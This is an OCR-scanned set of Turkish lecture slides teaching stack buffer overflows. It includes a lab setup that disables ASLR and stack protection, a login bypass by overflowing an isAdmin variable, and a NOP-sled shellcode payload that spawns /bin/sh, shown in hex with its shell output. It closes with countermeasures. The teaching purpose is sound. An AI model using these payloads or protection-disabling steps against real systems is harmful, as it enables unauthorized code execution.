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KontrolU ele gecirme saldirilari

e Saldirganin amaci:
o Hedef makinenin kontroliini ele gecirmek(Ornegdin, web sunucusu)
e Hedef makinedeki uygulamanin akigini kontrol ederek ardisik kod ¢alistirma
yontemleri
e Ornekler:
o Buffer overflow attacks
o Integeroverflow attacks
o Formatstring vulnerabilities
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Buffer Overflow Saldirisi

e Yaygin olarak, C/C++ programlarindaki hatalar Gizerinde
gerceklestirilir.
o Ik biyuk acik: 1988 Internet Worm. fingerd.

e Saldinyi yapmak icin gerekenler:
o Cfonksiyonlari, stack ve heap memory bilgisi
o Sistem ¢agrilari nasil yapildiginin bilgisi(exec() system call)
o Saldirgan, hedef makinede hangi iglemci mimarisi ve igletim

sistemi oldugunu bilmeli.
m  Ornekte uygulamada:
® x86i686 islemci mimarisi,
e Guvenlik 6nlemleri kapatilmig olan Ubuntu 16.04 igletim
sistemi, Linux kernel 4.15.0-45
® gcc5.4.0 Cderleyicisi kullaniimigtir 0Ll
m Isletim sistemleri ve iSlemci mimari arasindaki bazi farklar bile :
onemli.
e little endian vs big endian(x86 vs Motorola)
e stack frame structure(Unix vs Windows) Kaynak: web.nvd.nist.gov
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Memory Layout

Linux Process Memory Layout

OxC0000000
%esp
0x40000000
bric—
Loaded
from exec 0x08048000
0
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Stack Frame

high
arguments
return address
stack frame pointer
exception handlers
local variables Stack
rowth

callee saved registers
low




Buffer overflow nedir?

e Web sunucumuz olsun ve bu sunucudaki bir fonksiyon agagidaki gibi olsun..

e Asagidaki fonksiyon caligtiginda stack frame sagdaki gibi olur.

( argument: str

void func(char *str)

char buf[128]; return address
stack frame pointer

strcpy (buf, str); —

do-something (buf) ;
) char buf[128]




Buffer overflow nedir?

e Eger *str 136 byte uzunlugunda olsaydi ne olurdu?
e strcpy fonksiyonu cagrildiktan sonra stack durumu sagdaki gibi olur.
e Programdaki problem nedir?
o strcpy fonksiyonu ¢cagrildiginda, string uzunluklarinin kontrol edilmemesi.

void func (char *str) { argument: str

char buf[128];

strepy(buf, str) : ———
do-something (buf) ;




Stack acigindan faydalanma

SENARYO

e *str ‘yi buyiiklugiinii dyle bir ayarlayalim ki, strcpy fonksiyonu
sonrasi stack sekildeki gibi gdziiksiin.

e Stack iizerinde galigan Program P ise exec(“/bin/sh”) ¢aligtiran bir
uygulama olsun.

e Saldirgan artik Program P ile Shell ‘e erigip artik sistem ¢agrilari
yapabilir.

Program P

return address

char buf[128]

high




Donus adresini nasil bulabiliriz?

Cevap: NOP slide (No operation Command)

Program P
e Func() caginldiginda sonra stack durumu tahmin
edilebilir(Isletim sistemi, iglemci mimarisi ve C programlama
bilgisi ile muimkiin.)
NOP Slide
e Program P(Hijack uygulamasi, yani Shell komutunu galigtiran
uygulama), calistinimadan 6nce ¢ok sayida NOP komutu
girerek, doniig adresini ezmek mimkiin

return address

char buf[128]

high




Bazi glivenlik acigi bulunan fonksiyonlar

. strcpy (char *dest, constchar *src)
. strcat (char *dest,const char *src)

. gets (char *s)

. scanf (const char *format, ... )




Uygulanacak Ornekler

1. Buffer overflow ile fonksiyondaki degiskenlerin degerininin
degistirilmesi

2. Buffer overflow ile exec sistem ¢agrisini kullanarak shell
calistiriimasi

3. Buffer overflow’a karsi alinabilecek énlemler
a. address space layout randomization

b. non-executable stack
c. guard variable (canary)
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Test Sistemi

> Modern isletim sistemleri ve derleyiciler, buffer overflow
konusunda etkili cozimler sunmaktadir

> Uygulanacak érneklerin anlasilir ve kolay uygulanabilir olmasi icin;
& Isletim sistemi ve derleyici ayarlari 2000’li yillarin basinda kullanilan bicime

getirilmisgtir

32 bit igletim sistemi (Ubuntu 16.04) kullaniimistir

address space layout randomization kapatilmigtir
e sudo sysctl -w kernel.randomize_va_space=0

C derleyicisindeki stack protection 6zelligi kapatilmistir
e -fno-stack-protector

Program derlenirken executable stack 6zelligi aktif edilmistir
e -z execstack

*¢ & oo
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Uygulamanin calistirilmasi

v

\ N R 2N

Uygulama kodlarina ekteki “program.c” dosyasindan erisebilirisiz
Stack overflow’u test etmek icin 32 bit isletim Ubuntu 16.04 sisteminde
asagidaki komut ile address space randomization’u devredigi birakiniz
€ sudo sysctl -w kernel.randomize va_space=0

Ornek uygulamayi asagidaki komut ile derleyiniz

€@ gcc-o program -z execstack -fno-stack-protector program.c
Programin bulundug@u dizinde kullanici klasorlerini oluSturunuz

€ mkdir user-1 && mkdir user-2 && mkdir admin

Ekteki dosyalari klasorlere kopyalayiniz

€ cp a.txt b.txt user-1/

Programi ¢alistiriniz

€& ./program
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Ornek 1: Buffer overflow ile baska bir degiskeni
degistirmek (1)

Asagidaki kod ¢alistirildiginda user ve password bilinmeden, Stack Durumu

. e . . . o o?
farkh bir deger kullanilarak sisteme girig yapilabilir mi- —
int main() {

int isAdmin; return address

char password[20];

char user[20]; stack frame pointer
) <4— %ebp

while (1) { isAdmin
isAdmin = 0; (4 byte int)
printf("username:"); password[19]
scanf("%s", user): password[18]

. ; . passv;I.(.)rd[ll
prlntfl(l p?ssword: )3 password[0]
scanf("%s", password); (20 byte char array)
if (strcmp(user, "admin") == 0 && user[19]

strcmp(password, "adminl234") == 0) { user[18]

isAdmin = 1;

} user|[1]
User[0]
if (isAdmin) { (20 byte char array)
admin menu();

} el
22T




Ornek 1: Buffer overflow ile baska bir degiskeni
degistirmek (2)

int main() {
int isAdmin;

Ichar password[20];

char user[20],

while (1) {
isAdmin = 0;

printf("username:");

scanf("%s", user);

printf("password:");
scanf("%s", password);

if (isAdmin) {
admin _menu();
} else {

if (strcmp(user, "admin") == 0 &&
strcmp(password, "adminl234") == 0) {
isAdmin = 1;
}

Programin Ciktisi

Stack Durumu

username:admin
password:aaa
incorrect username or password

username:admin
password:1234567890123456789
incorrect username or password

username:admin
password:123456789012345678901

commands: \‘
list

;gzgtFILENAME 21 karakter
exit

ADMIN MENU

>ADMIN MENU

>list

files:

file-1.txt

arguments

return address

stack frame pointer

4— %eb
isAdmin = 49 e

0* 256"
0*256°
0 * 256!
49 * 256°

password[19]
password[18]

= IOI

= lgl
passwor.t.i.[ll = ‘2’
password[0] = ‘1’

(20 byte char array)

(20 byte char array)

user[19]
user[18]

user[1]
User[0]

4— %esp ;
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Ornek 1: Buffer overflow ile baska bir degiskeni

degistirmek (3)

int main() {

int isAdmin;

char password[20];
| char user[20]; |

while (1) {
isAdmin = 0;
printf("username:");
scanf("%s", user);
printf("password:");
scanf("%s", password);

strcmp(password,
isAdmin = 1;

}

if (isAdmin) {
admin_menu();
} else {

if (strcmp(user, "admin") == 0 &&

"adminl234") == 0) {

Programin Ciktisi

Stack Durumu

arguments

return address

username:12345678901234567890123456789012345678901
password:a
commands: \
list
read FILENAME
reset
exit
ADMIN MENU
>ADMIN MENU
>reset
delete all files & reset system!!!
ADMIN MENU

>l

41 karakter

stack frame pointer

4— %eb
isAdmin = 49 =2l

0 *256°
0 * 2562
0 * 256"
49 * 256°

IOI
lgl

password[19]
password[18]

passwor&[l] = "\0’
password[0] = ‘@’
(20 byte char array)

user[19]
user[18]

IOI
‘9’

user[.l']. =8
user[0] = ‘1’

44— %esp

(20 byte char array)
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Ornek 2: Buffer overflow ile exec sistem ¢agrisini
kullanarak shell calistirilmasi (1)

f = fopen(path, "r");
it (f == NULL)
return;

while (fgets(line, 1000, f) != NULL) {
int s = sum integers(line);
printf("%sd\n", s);

'

int sum integers(char * line) {
char buf[40];
int sum = 0;

strcpy(buf, line);

s = buf;
while (s !'= 0) {
d = strchr(s, ';'):

=> Solda, string icerisinde ; ile ayrilmi$ olan
sayilarin toplamini bulan fonksiyonun parcasi
verilmigtir.

—> Fonksiyona gelen karakter dizisi, baska bir
diziye kopyalanip Gzerinde iglem
yapilmaktadir.

=> Fonksiyona gelen karakter dizisinin uzunlugu
kontrol edilmeden bagka bir diziye
kopyalanmaktadir.

f dosyasinin igerigi
1111;2222; 9}

3333;4444,5555;
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Ornek 2: Buffer overflow ile exec sistem ¢agrisini
kullanarak shell calistirilmasi (2)

f = fopen(path, "r");
if (f == NULL)
return; f dosyasinin igcerigi program ciktisi
while (fgets(line, 1000, f) != NULL) { 1111;2222; “;‘3;’32";33‘{335'1
int s = sum integers(line); 3333;4444,5555; Eommands:
printf("%sd\n", s); list .
} read FILENAME
exit
int sum integers(char * line) { [USER MENU
char buf[40]; >USER MENU
int sum = 0; >read a.txt
e read file user-1/a.txt
strcpy(buf, line); 3333
13332
s = buf;
while (s !'= 0) {
d = strchr(s, ';");




Ornek 2: Buffer overflow ile exec sistem ¢agrisini
kullanarak shell calistirilmasi (3)

f = fopen(path, "r"); b.txt’nin icerigi agagidaki gibi olursa ???
1f (f == NULL) 1;2; AAMAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEE1234567890668666666
return; (L2LL2L LA AL 02T 2L 2L 2L AL AL LT LT 2L AL 20T 2L 2L 2L AL 2L 2L 20221 2T 2L 2L 2L 212 22T 2L 2T 2L 2L AL 22T 21221 2121 2120 2121
BLBLLLLLLLLBLLHULULLELBHLLUELELBLULULLLLBLEHLELLELEHE LGP/ /Shh/binGGPSE

Y

o . |=
while (fgets(line, 1000, T) "= NULL) {| oooneneneoe000000000000000000000000000000000000000000000000000000URERRG0
int s = sum integers(line);

printf("%d\n", s);
}

int sum integers(char * line) {
char buf[40];
int sum = 0;

strcpy(buf, line);

s = buf;
while (s !'= 0

{

)
d = strchr(s, ';');




Ornek 2: Buffer overflow ile exec sistem ¢agrisini
kullanarak shell caligtiriimasi (4)

f = fopen(path, "r");
if (f == NULL)
return;

while (fgets(line, 1000, f) !'= NULL) {
int s = sum integers(line);
printf("%d\n", s);

}

b.txt’nin icerigi agagidaki gibi olursa

1525 AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEE1234567890666666666
AL ALl A AL A ALl L Ll L A 2L 2L L
000@@@@@@@@@0@@@@000@@@@@@0@@@0@@@@0@@@@@@@@@@@@@@0@@10Ph//shh/bin@@PS@;‘

A A A A A A A A A A A A A A A A A A A A A A A A A 22200

int sum integers(char * line) {
char buf[40];
int sum = 0;

strcpy(buf, line);
s = buf;

while (s != 0) {
d = strchr(s, ';');

programin giktisi

username:user-1
password:1234
commands:

list

read FILENAME

exit
USER MENU
>USER MENU
>read b.txt
read file user-1/b.txt
$ whoami | buradan itibaren shell ¢aligiyor
ubuntu
$ uname -a
Linux ubuntu-Standard-PC-i440FX-PIIX-1996 4.15.0-45-generic #48~16.04.1-U
buntu SMP Tue Jan 29 18:03:19 UTC 2019 i686 athlon i686 GNU/Linux
$ help
/bin//sh: 3: help: not found 19
$

S ——
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Ornek 2: Buffer overflow ile exec sistem ¢agrisini
kullanarak shell calistirilmasi (5)

return address
0x080xxxxX

stack frame pointer

return address
0x080xxxxx

stack frame pointer

variables

arguments

....exec(“/bin/sh”).....

nop, nop, hop, Nop,nop,nop
nop, nop, hop, Nop,nop,nop
nop, nop, nop, Nop,nop,nNop

1525 AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEE1234567890686866666
ALl LT A A ALl Ll UL 2
6666BLLLLLLLL00HHHNNEELLLLLLLLEEEEEEELLLLLLLLHHHLEE1EPh//Shh/binGEPSE™]

Y
6666666LLLHHLH00000HHHHELLLLLLLELEEEEEEEELLLLHLHL0L0LNLNLLLELLLLLLLEEEEE

— Oxbfffxxxx

return address
0x080xxxxx

return address
0xbfffxxxx

stack frame pointer

Random values
XyXyXyxy

Other variables
(??? byte)

Other variables
Random values

XYXyXyxy

return address

buf[19]
buf[18]
buf{1]
buff0]

(40 byte char array)

Other variables
(??? byte)

buf[19]
buff18]
buf(1]
buf[0]

(40 byte char array)

Other variables
(??7? byte)

b.txt’'nin hexadecimal olarak ¢iktisi

buf[40] ve return
adresse kadar

3b31
4242
4343
4545
fOdo
9090

9090

3b32 4141 4141 4141
4242 4242 4242 4343
4444 4444 4444 4444
4545 4545 3231 3433
bfff| 9090 9090 9090
9090 9090 9090 9090

4141
4343
g
3635
9090
9090

4141
4343
4545
3837
9090
9090

9090 9090 9090 |cO31

6850

2T2f

2168

6962 896e 50e3 8953

99%e1l

Obb0o

9000
9090

9090 9090 9090 |9090
9090 9090 9090‘9090

9090
9090

9090
9090

char *name|[2];

name[0] = '/bin/sh’';
name[1] = NULL;

execve(name[0], name, NULL);

olan degiskenler

\

0x90 = nop
instruction
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Buffer overflow’a karsi alinabilecek dnlemler

> Degiskenlerin ve bufferlarin overflow olmayacagi sekilde hatasiz kod yazmak.
@ strepy(buf, src) yerine “strncpy(buf, src, N); buf[N-1] = \0’,”
€ gets yerine fgets(buf, N, stdin);
*® (L
=> Address randomization kullanmak. Asagidaki komutu ile aktif ettikten sonra
programi tekrar deneyiniz.
€ sudo sysctl -w kernel.randomize_va_space=2
=> Non-executable stack kullanmak.
€ gcc-o program -z noexecstack program.c
=> Stack guard kullanmak.
€ gcc-o program -fstack-protector program.c
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